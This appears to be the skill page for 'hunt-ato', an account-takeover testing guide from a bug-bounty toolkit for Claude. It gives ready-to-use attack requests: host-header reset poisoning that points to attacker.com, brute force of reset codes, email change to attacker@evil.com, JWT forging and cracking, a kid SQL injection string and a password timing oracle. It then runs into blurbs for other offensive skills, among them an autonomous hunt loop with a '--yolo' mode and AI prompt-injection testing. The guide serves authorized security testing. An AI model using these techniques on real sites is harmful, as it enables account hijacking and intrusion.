hunt-ato
Hunt-ato is a taxonomy of nine account takeover paths including password reset poisoning via host-header injection, email change without re-authentication, OAuth CSRF, MFA bypass, session fixation, JWT manipulation, password change without step-up, security-question brute force, and SSO subdomain takeover. Use this skill when testing authentication systems for account takeover chains, validating that an attacker can demonstrably take over a second account they don't control rather than just lock out their own, and when chaining multiple primitives toward a critical-severity finding.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter /tmp/hunt-ato && cp -r /tmp/hunt-ato/skills/hunt-ato ~/.claude/skills/hunt-atoSKILL.md
## 13. ATO — ACCOUNT TAKEOVER TAXONOMY
> 9 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.
### Path 1: Password Reset Poisoning (Host-Header)
```bash
POST /forgot-password HTTP/1.1
Host: attacker.com # primary Host swap
# OR keep real Host and add one of:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
# OR dual-Host smuggling: Host: target.com\r\nHost: attacker.com
email=victimB@company.com
```
The reset mailer builds the link from the request Host header → link points to `attacker.com/reset?token=XXXX`. **Confirmation = OOB, not response-based:** point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof.
**False-positive killer:** many apps put `attacker.com` in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.
### Path 2: Reset Token in Referer / Open-Redirect Leak
```
GET /reset-password?token=ABC123
→ page loads third-party resource: <script src="https://analytics.com/t.js">
→ browser sends Referer: https://target.com/reset-password?token=ABC123
→ token exfiltrated to every off-origin host the page calls
```
Also test reset pages that 302 to an open redirect carrying the token in the URL. **Proof:** capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by `Referrer-Policy: no-referrer` + tokens in POST body — note their absence.
### Path 3: Predictable / Weak Reset Tokens
```bash
# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
-H "Content-Type: application/json" \
-d '{"email":"victimB@company.com","code":"FUZZ"}' \
-w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable
```
**Discipline:** request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on `/forgot-password` is routinely rejected — the impact is token guessing, not request flooding.
### Path 4: Token No-Expiry / Reuse / Cross-Account
```
Expiry: request token → wait 2h → still valid? = bug
Reuse: use token once → use again → still valid? = bug
Multi: request token#1, then token#2 → is token#1 still valid? (should be invalidated)
Cross: does B's token reset A's password if you swap the userid/email param? = IDOR-in-reset
```
### Path 5: Email Change Without Re-Auth
```bash
PUT /api/user/email HTTP/1.1
Cookie: session=ATTACKER_A_SESSION
{"new_email":"attacker@evil.com"} # no current_password, no OTP, no email-confirm
```
If the change takes effect with no current-password challenge and no confirm-link to the OLD address, trigger password reset → reset lands at attacker mailbox → ATO. The strongest variant skips even the new-address confirmation. Branded pattern: account-link / email-change → ATO via missing re-auth.
### Path 6: JWT Manipulation
```bash
# (a) alg:none — strip the signature, set header alg to none
python3 -c "import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))"
# send: header {"alg":"none","typ":"JWT"}, payload {"sub":"victimB"}, empty signature
#
# (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret
curl -s https://target.com/.well-known/jwks.json # or /oauth/.well-known/... grab the RSA pub key
# convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it
#
# (c) weak HMAC secret: crack offline
hashcat -a 0 -m 16500 token.jwt rockyou.txt # -m 16500 = JWT
#
# (d) kid injection: kid=../../../dev/null (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid)
```
**Verified grounding for this class:** [CVE-2015-9235](https://nvd.nist.gov/vuln/detail/CVE-2015-9235) (node `jsonwebtoken` <4.2.2 — alg confusion / none bypass), [CVE-2016-10555](https://nvd.nist.gov/vuln/detail/CVE-2016-10555) (`jwt-simple` RS256→HS256). **Validate:** forged token must reach a privileged endpoint as victim B (e.g. `GET /api/admin` or `/api/users/B`) — decoding/forging is not impact; an authorized action under B's identity is. If the server ignores the forged `sub` and keys off the session cookie, the JWT is not the trust boundary — no finding.
### Path 7: Password Change Without Step-Up + Login Oracle
```bash
# (a) password-change endpoint accepts a new password with no current-password / no MFA challenge:
POST /api/account/password
Cookie: session=STOLEN_B_COOKIE # from XSS, session-fixation, or token leak
{"new_password":"Pwned#2026"} # no "current_password" field
#
# (b) login oracle to find a valid password without an existing cookie — measure response delta:
for p in $(cat candidates.txt); do
t=$(curl -s -o /dev/null -w '%{time_total}' -d "user=victimB&pass=$p" https://target.com/login)
printf '%s\t%s\n' "$t" "$p"
done | sort -n # bcrypt-vs-fast-reject timing gap, or response-length diff, leaks valid pass
```
A no-step-up password-change endpoint is the **persistence multiplier**: cookie theft (transient) + this = attacker sets a new password from the stolen cookie → owns B from any device/IP, victim locked out. **False-positive check:** confirm there is genuinely no current-password / MFA gate — many APIs accept the field as optional but still 403 server-side; replay without the field and read the actual state changeEnd-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo]
Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
Build an exploit chain — given bug A, finds B and C to combine for higher severity and payout. Knows common chain patterns: IDOR→ATO, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth. Usage: /chain
Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.